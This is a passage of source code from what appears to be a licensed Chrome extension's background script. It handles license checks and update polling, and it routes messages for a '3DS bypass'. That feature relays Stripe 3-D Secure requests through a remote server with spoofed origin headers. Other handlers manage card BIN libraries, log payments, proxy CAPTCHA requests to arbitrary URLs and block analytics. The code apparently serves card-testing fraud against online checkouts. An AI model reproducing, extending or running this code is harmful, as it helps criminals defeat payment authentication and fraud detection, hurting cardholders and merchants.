      deviceFingerprint: deviceFingerprint,
      installKeyId: installKeyId,
      challengeId: challengeRequest.challengeId,
      signature: signature
    })).data || { valid: false, error: "proof_failed" };
  })(licenseKey, deviceFingerprint, installIdentity.installKeyId, 
     installIdentity.privateKeyJwk, installIdentity.publicKeyJwk);

  if (!challengeResponse.valid || !challengeResponse.proofToken) {
    return challengeResponse;
  }

  // Activate with proof token
  const activatePayload = {
    key: licenseKey,
    deviceFingerprint: deviceFingerprint,
    installKeyId: installIdentity.installKeyId,
    proofToken: challengeResponse.proofToken,
    nonce: generateNonce()
  };

  return (await makeCachedLicenseRequest("/license/activate", activatePayload)).data || 
         { valid: false, error: "Activation failed" };
}

/**
 * Revalidate current license
 */
async function revalidateLicense() {
  const storage = await chrome.storage.local.get([...LICENSE_STORAGE_KEYS, "bypasserSettings", "bypasserAdvancedSettings"]);
  const license = storage.dbLicense;
  const session = storage.dbLicenseSession;

  // Check if license exists and is valid
  if (!license || !license.valid || !license.key) {
    return { valid: false, fromCache: false, error: "no_active_license" };
  }

  // Check session
  if (!session?.sessionId || !session?.accessToken) {
    await clearLicenseData();
    return { valid: false, fromCache: false, error: "missing_session" };
  }

  const relayUrl = (function(storage) {
    const normalize = (url) => trimString(url);
    const urls = [
      normalize(storage?.bypasserAdvancedSettings?.relayServerUrl),
      normalize(storage?.bypasserSettings?.relayServerUrl),
      RELAY_SERVER_PRIMARY,
      ...RELAY_SERVER_FALLBACKS.map(normalize)
    ].filter(Boolean);
    return Array.from(new Set(urls))[0] || RELAY_SERVER_PRIMARY;
  })(storage);

  const revalidatePayload = {
    sessionId: session.sessionId,
    accessToken: session.accessToken,
    refreshToken: session.refreshToken,
    nonce: generateNonce()
  };

  let response;
  let relayUnreachable = false;

  try {
    response = await makeCachedLicenseRequest("/license/revalidate", revalidatePayload);
  } catch (error) {
    relayUnreachable = true;
    response = { ok: false, data: { valid: false, error: "relay_unreachable" } };
  }

  // Use cached state if relay unreachable
  if (relayUnreachable) {
    console.log("[License] Revalidation: relay unreachable, using cached state as fallback");
    return {
      valid: !(!license || !license.valid),
      fromCache: true,
      plan: license.plan,
      expiresAt: license?.expiresAt ?? null,
      error: "relay_unreachable"
    };
  }

  const revalidateResult = response.data || { valid: false, error: "revalidate_failed" };

  // Handle invalid license
  if (!revalidateResult.valid || !revalidateResult.session?.sessionId) {
    console.log("[License] Live revalidation failed:", 
      revalidateResult.error || revalidateResult.status || "invalid");

    const updatedLicenses = updateSavedLicenses(storage.dbSavedLicenses, {
      key: license.key,
      plan: license.plan || "premium",
      expiresAt: revalidateResult?.expiresAt || license.expiresAt || null,
      status: revalidateResult?.status || "invalid",
      reason: revalidateResult?.status || revalidateResult?.error || "invalid",
      lastValidatedAt: new Date().toISOString()
    });

    await chrome.storage.local.set({ dbSavedLicenses: updatedLicenses });
    await clearLicenseData();

    return {
      valid: false,
      fromCache: false,
      error: revalidateResult.error || revalidateResult.status || "license_invalid",
      status: revalidateResult.status
    };
  }

  // Update license state
  const updatedLicense = {
    ...license,
    valid: true,
    plan: revalidateResult.plan || license.plan || "premium",
    expiresAt: revalidateResult.expiresAt || license.expiresAt || null
  };

  const updatedSession = {
    ...session,
    ...(revalidateResult.session || {}),
    accessToken: revalidateResult.session?.accessToken ? revalidateResult.session.accessToken : session.accessToken
  };

  await chrome.storage.local.set({
    dbLicense: updatedLicense,
    dbLicenseSession: updatedSession,
    dbLicenseServerValidatedAt: Date.now(),
    dbActiveLicenseKey: license.key,
    dbSavedLicenses: updateSavedLicenses(storage.dbSavedLicenses, {
      key: license.key,
      plan: updatedLicense.plan,
      expiresAt: updatedLicense.expiresAt,
      status: "valid",
      reason: "eligible",
      lastValidatedAt: new Date().toISOString()
    })
  });

  // Apply analytics protection
  await applyAnalyticsProtection({ relayUrl: relayUrl });

  console.log("[License] Live revalidation passed — state refreshed");

  return {
    valid: true,
    fromCache: false,
    plan: updatedLicense.plan,
    expiresAt: updatedLicense?.expiresAt ?? null
  };
}

// Track blocked analytics events
let analyticsTrackingEnabled = false;

if (chrome.declarativeNetRequest && chrome.declarativeNetRequest.onRuleMatchedDebug) {
  chrome.declarativeNetRequest.onRuleMatchedDebug.addListener((details) => {
    const ruleId = details?.rule?.ruleId;

    // Only track analytics protection rules
    if (typeof ruleId !== "number" || ruleId < RULE_ID_START || ruleId > RULE_ID_END) {
      return;
    }

    const requestUrl = details?.request?.url || "";
    const sourceUrl = details?.request?.initiator || 
                     details?.request?.documentUrl || 
                     "";

    // Store blocked event
    (async function(event) {
      try {
        const storage = await chrome.storage.local.get([ANALYTICS_BLOCKED_EVENTS_KEY]);
        const events = Array.isArray(storage[ANALYTICS_BLOCKED_EVENTS_KEY]) 
          ? storage[ANALYTICS_BLOCKED_EVENTS_KEY] 
          : [];

        events.push(event);
        const trimmedEvents = events.slice(-200);

        await chrome.storage.local.set({ [ANALYTICS_BLOCKED_EVENTS_KEY]: trimmedEvents });
      } catch {
        // Ignore
      }
    })({
      ts: new Date().toISOString(),
      ruleId: ruleId,
      requestUrl: requestUrl,
      source: sourceUrl
    });
  });

  analyticsTrackingEnabled = true;
}

// Initialize license on startup
(async function initializeLicense() {
  try {
    await revalidateLicense();

    const relayUrl = (function(storage) {
      const normalize = (url) => trimString(url);
      const urls = [
        normalize(storage?.bypasserAdvancedSettings?.relayServerUrl),
        normalize(storage?.bypasserSettings?.relayServerUrl),
        RELAY_SERVER_PRIMARY,
        ...RELAY_SERVER_FALLBACKS.map(normalize)
      ].filter(Boolean);
      return Array.from(new Set(urls))[0] || RELAY_SERVER_PRIMARY;
    })(await chrome.storage.local.get(["bypasserSettings", "bypasserAdvancedSettings"]));

    await applyAnalyticsProtection({ relayUrl: relayUrl, forceRuleRefresh: true });
  } catch (error) {
    // Ignore initialization errors
  }
})();

// Revalidate license every 30 minutes
setInterval(revalidateLicense, 1800000);

// ============================================================================
// MODULE 13: UPDATE & NOTIFICATION CHECK
// ============================================================================

const extensionVersion = chrome.runtime.getManifest().version;

async function checkForUpdates() {
  let relayUrl = RELAY_SERVER_PRIMARY;

  try {
    relayUrl = await getRelayServerUrl();
  } catch (error) {
    // Use default
  }

  // Check for extension updates
  try {
    const controller = new AbortController();
    const timeoutId = setTimeout(() => controller.abort(), 5000);

    const response = await fetch(`${relayUrl}/version?v=${extensionVersion}`, { 
      signal: controller.signal 
    });

    clearTimeout(timeoutId);

    if (response.ok) {
      const data = await response.json();

      if (data.updateAvailable && data.latest) {
        await chrome.storage.local.set({
          dbUpdateInfo: {
            latest: data.latest,
            current: extensionVersion,
            downloadUrl: data.downloadUrl || null,
            changelog: data.changelog || null,
            checkedAt: new Date().toISOString()
          }
        });

        console.log(`[Update] New version available: v${data.latest} (current: v${extensionVersion})`);
      } else {
        await chrome.storage.local.remove("dbUpdateInfo");
      }
    }
  } catch (error) {
    // Ignore update check errors
  }

  // Check for notifications
  try {
    const controller = new AbortController();
    const timeoutId = setTimeout(() => controller.abort(), 5000);

    const response = await fetch(`${relayUrl}/notification`, { 
      signal: controller.signal 
    });

    clearTimeout(timeoutId);

    if (response.ok) {
      const data = await response.json();

      if (data.notification && data.notification.message) {
        await chrome.storage.local.set({ dbNotification: data.notification });
      } else {
        await chrome.storage.local.remove("dbNotification");
      }
    }
  } catch (error) {
    // Ignore notification check errors
  }
}

// Initial check after 5 seconds
setTimeout(checkForUpdates, 5000);

// Check every 6 hours
setInterval(checkForUpdates, 21600000);

// ============================================================================
// MODULE 14: MESSAGE ROUTER
// Handles all chrome.runtime.onMessage requests
// ============================================================================

/**
 * Open options page
 */
function openOptionsPage() {
  const optionsUrl = chrome.runtime.getURL("options.html");
  chrome.tabs.create({ url: optionsUrl });
}

// Handle extension install/update
chrome.runtime.onInstalled.addListener((details) => {
  if (details.reason === "install") {
    // Initialize stats on first install
    chrome.storage.local.set({ stats: defaultStats }, () => {
      if (chrome.runtime.lastError) {
        // Ignore
      }
    });
    openOptionsPage();
  } else if (details.reason === "update") {
    openOptionsPage();
  }
});

// Handle extension icon click
chrome.action.onClicked.addListener((tab) => {
  openOptionsPage();
});

// Message handler
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  let responseSent = false;

  const sendSafeResponse = (response) => {
    if (!responseSent) {
      try {
        responseSent = true;
        sendResponse(response);
      } catch (error) {
        // Ignore
      }
    }
  };

  // Message type handlers
  const messageHandlers = {
    INJECT_SCRIPT: () => {
      sendSafeResponse({ success: true });
      return false;
    },

    OPEN_OPTIONS_PAGE: () => {
      openOptionsPage();
      sendSafeResponse({ success: true });
      return false;
    },

    SHOW_NOTIFICATION: () => {
      try {
        handleNotification(0, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
      }
      return false;
    },

    UPDATE_STATS: () => {
      try {
        handleUpdateStats(request, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
        return false;
      }
      return true;
    },

    SETTINGS_UPDATED: () => {
      const noopCallback = () => {};

      try {
        handleSettingsUpdate(request, noopCallback);
        handleApplyProxy(request, noopCallback);

        (async () => {
          if (request?.settings?.analyticsProtection) {
            await revalidateLicense();
          }

          const relayUrl = (function(storage) {
            const normalize = (url) => trimString(url);
            const urls = [
              normalize(storage?.bypasserAdvancedSettings?.relayServerUrl),
              normalize(storage?.bypasserSettings?.relayServerUrl),
              RELAY_SERVER_PRIMARY,
              ...RELAY_SERVER_FALLBACKS.map(normalize)
            ].filter(Boolean);
            return Array.from(new Set(urls))[0] || RELAY_SERVER_PRIMARY;
          })({
            bypasserSettings: request.settings || {},
            bypasserAdvancedSettings: request.advancedSettings || {}
          });

          await applyAnalyticsProtection({ relayUrl: relayUrl, forceRuleRefresh: true });
        })().catch(() => {});
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
      }
      return false;
    },

    APPLY_PROXY: () => {
      const noopCallback = () => {};

      try {
        handleSettingsUpdate(request, noopCallback);
        handleApplyProxy(request, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
      }
      return false;
    },

    CLEAR_PROXY: () => {
      try {
        handleClearProxy(0, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
      }
      return false;
    },

    VALIDATE_PROXY: () => {
      try {
        handleValidateProxy(request, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          valid: false, 
          error: error?.message || "Unknown error" 
        });
      }
      return false;
    },

    GET_PUBLIC_IP: () => {
      try {
        return !!handleGetPublicIp(0, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
        return false;
      }
    },

    GET_IP_COUNTRY: () => {
      try {
        return !!handleGetIpCountry(0, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
        return false;
      }
    },

    TAKE_SCREENSHOT: () => {
      try {
        handleScreenshot(request, sender, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
        return false;
      }
      return true;
    },

    PAYMENT_LOG: () => {
      if (handlePaymentLog) {
        try {
          handlePaymentLog(request, sendSafeResponse);
        } catch (error) {
          sendSafeResponse({ 
            success: false, 
            error: error?.message || "Unknown error" 
          });
          return false;
        }
        return true;
      }

      sendSafeResponse({ success: false, error: "LogHandler not available" });
      return false;
    },

    UPDATE_3DS_STATS: () => {
      try {
        handleUpdate3DSStats(request, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
        return false;
      }
      return true;
    },

    BYPASSER_EVENT: () => {
      try {
        handleBypasserEvent(request, sendSafeResponse);
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
        return false;
      }
      return true;
    },

    GET_3DS_RELAY_ENDPOINT: () => ((async () => {
      try {
        const licenseState = await getLicenseState();

        if (!licenseState.licenseKey) {
          sendSafeResponse({ error: "NO License required for 3DS bypass" });
          return;
        }

        const relayUrl = (await getRelayServerUrl()).replace(/\/+$/, "") + "/relay/3ds2";
        sendSafeResponse({ relayEndpoint: relayUrl });
      } catch (error) {
        sendSafeResponse({ 
          error: error?.message || "Failed to get relay endpoint" 
        });
      }
    })(), true),

    "3DS_RELAY": () => ((async () => {
      try {
        const { url, body, origin, referer } = request;

        // Validate Stripe URL
        if (!url || !url.includes("stripe.com")) {
          console.warn("[3DS-Relay] Blocked: invalid/non-stripe target", { url: url });
          sendSafeResponse({ error: "Invalid target URL" });
          return;
        }

        const licenseState = await getLicenseState();

        if (!licenseState.licenseKey) {
          sendSafeResponse({ error: "NO License required for 3DS bypass" });
          return;
        }

        const signature = await generateRequestSignature(licenseState.licenseKey);
        const relayUrl = (await getRelayServerUrl()).replace(/\/+$/, "") + "/relay/3ds2";

        const headers = {
          "Content-Type": "application/x-www-form-urlencoded",
          "X-DB-License": licenseState.licenseKey,
          "X-DB-Timestamp": signature.ts,
          "X-DB-Signature": signature.signature
        };

        if (origin && typeof origin === "string") {
          headers["X-Original-Origin"] = origin;
        }

        if (referer && typeof referer === "string") {
          headers["X-Original-Referer"] = referer;
        }

        const response = await fetch(relayUrl, {
          method: "POST",
          headers: headers,
          body: body
        });

        const responseText = await response.text();

        // Parse 3DS state from response
        let threeDSState = "";
        let threeDSTransStatus = "";
        let threeDSErrorMessage = "";

        try {
          const responseData = JSON.parse(responseText || "{}");
          threeDSState = responseData?.state || responseData?.status || "";
          threeDSTransStatus = responseData?.ares?.transStatus || "";

          if (responseData?.error) {
            threeDSErrorMessage = responseData.error.message || 
                                 responseData.error.code || 
                                 JSON.stringify(responseData.error);
          }
        } catch (error) {
          // Ignore parse errors
        }

        // Log response
        if (response.status >= 400) {
          console.warn("[3DS-Relay] Relay responded with error", {
            status: response.status,
            statusText: response.statusText,
            bodyPreview: (responseText || "").slice(0, 240),
            threeDSState: threeDSState,
            threeDSTransStatus: threeDSTransStatus
          });
        } else {
          console.info("[3DS-Relay] Relay success", {
            status: response.status,
            threeDSState: threeDSState,
            threeDSTransStatus: threeDSTransStatus
          });
        }

        // Extract headers
        const responseHeaders = {};
        response.headers.forEach((value, key) => {
          responseHeaders[key.toLowerCase()] = value;
        });

        sendSafeResponse({
          status: response.status,
          statusText: response.statusText,
          headers: responseHeaders,
          body: responseText,
          threeDSState: threeDSState,
          threeDSTransStatus: threeDSTransStatus,
          threeDSErrorMessage: threeDSErrorMessage
        });
      } catch (error) {
        sendSafeResponse({ 
          error: error?.message || "Relay server connection failed" 
        });
      }
    })(), true),

    GET_DEVELOPER_SUPPORT: () => {
      try {
        sendSafeResponse({ success: true, data: DEVELOPER_SUPPORT });
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Unknown error" 
        });
      }
      return false;
    },

    "3DS_SHOW_BANNER": () => {
      const tabId = sender?.tab?.id;

      if (tabId) {
        chrome.tabs.sendMessage(tabId, {
          type: "3DS_BANNER_TO_MAIN",
          success: request.success,
          status: request.status,
          state: request.state,
          url: request.url,
          responsePreview: request.responsePreview
        }).catch(() => {});
      }

      sendSafeResponse({ ok: true });
      return false;
    },

    CAPTCHA_API_PROXY: () => ((async () => {
      try {
        const { url, method, headers, body } = request;

        if (!url) {
          sendSafeResponse({ error: "Missing URL" });
          return;
        }

        const fetchOptions = {
          method: method || "GET",
          headers: headers || {}
        };

        if (body && method !== "GET") {
          fetchOptions.body = typeof body === "string" ? body : JSON.stringify(body);
        }

        const response = await fetch(url, fetchOptions);
        const responseText = await response.text();

        let responseJson = null;
        try {
          responseJson = JSON.parse(responseText);
        } catch (error) {
          // Ignore parse errors
        }

        sendSafeResponse({
          success: true,
          status: response.status,
          statusText: response.statusText,
          body: responseText,
          json: responseJson
        });
      } catch (error) {
        sendSafeResponse({ 
          success: false, 
          error: error?.message || "Proxy fetch failed" 
        });
      }
    })(), true),

    RISK_EVALUATE: () => ((async () => {
      try {
        const payload = request?.payload || {};
        const idempotencyKey = String(
          request?.idempotencyKey || payload?.idempotencyKey || ""
        );

        const evaluationResult = await (async function(payload, idempotencyKey) {
          const relayUrl = await getRelayServerUrl();
          const licenseState = await getLicenseState();

          const hasAuth = !!(licenseState.licenseKey && 
                            licenseState.sessionId && 
                            licenseState.accessToken);

          const nonce = generateNonce();
          const signature = hasAuth ? await generateRequestSignature(licenseState.licenseKey) : null;

          const requestBody = {
            ...payload || {},
            ...(hasAuth ? {
              riskAuth: {
                licenseKey: licenseState.licenseKey,
                sessionId: licenseState.sessionId,
                accessToken: licenseState.accessToken,
                refreshToken: licenseState.refreshToken,
                nonce: nonce
              }
            } : {})
          };

          const controller = new AbortController();
          const timeoutId = setTimeout(() => controller.abort(), 5000);

          try {
            const response = await fetch(`${relayUrl}/risk/evaluate`, {
              method: "POST",
              headers: {
                "Content-Type": "application/json",
                ...(hasAuth ? { "X-DB-License": licenseState.licenseKey } : {}),
                ...(hasAuth && signature ? { 
                  "X-DB-Timestamp": signature.ts, 
                  "X-DB-Signature": signature.signature 
                } : {}),
                ...(hasAuth ? { "X-DB-Session": licenseState.sessionId } : {}),
                ...(hasAuth ? { Authorization: `Bearer ${licenseState.accessToken}` } : {}),
                ...(idempotencyKey ? { "Idempotency-Key": String(idempotencyKey) } : {})
              },
              body: JSON.stringify(requestBody),
              signal: controller.signal
            });

            const contentType = response.headers.get("content-type") || "";
            let data = null;

            if (contentType.includes("application/json")) {
              data = await response.json();
            } else {
              data = { error: `Non-JSON response (${response.status})` };
            }

            return {
              ok: response.ok,
              status: response.status,
              data: data
            };
          } catch (error) {
            return {
              ok: false,
              status: 0,
              data: { error: error?.message || "risk_relay_failed" }
            };
          } finally {
            clearTimeout(timeoutId);
          }
        })(payload, idempotencyKey);

        // Store evaluation result
        if (evaluationResult.ok && evaluationResult.data) {
          try {
            const storage = await chrome.storage.local.get(["dbRiskEvaluations"]);
            const evaluations = Array.isArray(storage.dbRiskEvaluations) 
              ? storage.dbRiskEvaluations 
              : [];

            const evaluationRecord = {
              ts: new Date().toISOString(),
              evaluationId: evaluationResult.data.evaluationId || null,
              riskScore: evaluationResult.data.riskScore,
              riskLevel: evaluationResult.data.riskLevel,
              recommendedAction: evaluationResult.data.recommendedAction,
              reasons: Array.isArray(evaluationResult.data.reasons) 
                ? evaluationResult.data.reasons 
                : [],
              rateLimit: evaluationResult.data.rateLimit || null,
              idempotencyKey: idempotencyKey || null
            };

            const updatedEvaluations = [...evaluations, evaluationRecord].slice(-200);

            await chrome.storage.local.set({
              dbRiskEvaluations: updatedEvaluations,
              dbLastRiskEvaluation: evaluationRecord
            });
          } catch (error) {
            // Ignore storage errors
          }
        }
      } catch (error) {
        sendSafeResponse({ success: false, error: error?.message || "risk_evaluate_failed" });
      }
    })(), true),

    BIN_LIBRARIES_LIST: () => ((async () => {
      try {
        const result = await makeRelayRequest("/bin-libraries/list", {});
        sendSafeResponse({
          success: result.ok,
          status: result.status,
          data: result.data
        });
      } catch (error) {
        sendSafeResponse({
          success: false,
          status: 0,
          data: { error: error?.message || "bin_libraries_list_failed" }
        });
      }
    })(), true),

    BIN_LIBRARY_CREATE: () => ((async () => {
      try {
        const payload = request?.payload || {};
        const result = await makeRelayRequest("/bin-libraries/create", payload);
        sendSafeResponse({
          success: result.ok,
          status: result.status,
          data: result.data
        });
      } catch (error) {
        sendSafeResponse({
          success: false,
          status: 0,
          data: { error: error?.message || "bin_library_create_failed" }
        });
      }
    })(), true),

    BIN_LIBRARY_UPDATE: () => ((async () => {
      try {
        const payload = request?.payload || {};
        const result = await makeRelayRequest("/bin-libraries/update", payload);
        sendSafeResponse({
          success: result.ok,
          status: result.status,
          data: result.data
        });
      } catch (error) {
        sendSafeResponse({
          success: false,
          status: 0,
          data: { error: error?.message || "bin_library_update_failed" }
        });
      }
    })(), true),

    BIN_LIBRARY_DELETE: () => ((async () => {
      try {
        const payload = request?.payload || {};
        const result = await makeRelayRequest("/bin-libraries/delete", payload);
        sendSafeResponse({
          success: result.ok,
          status: result.status,
          data: result.data
        });
      } catch (error) {
        sendSafeResponse({
          success: false,
          status: 0,
          data: { error: error?.message || "bin_library_delete_failed" }
        });
      }
    })(), true)
  };

  const handler = messageHandlers[request?.type];
  if (handler) {
    return handler();
  }

  sendSafeResponse({ success: false, error: "Unknown message type" });
  return false;
});
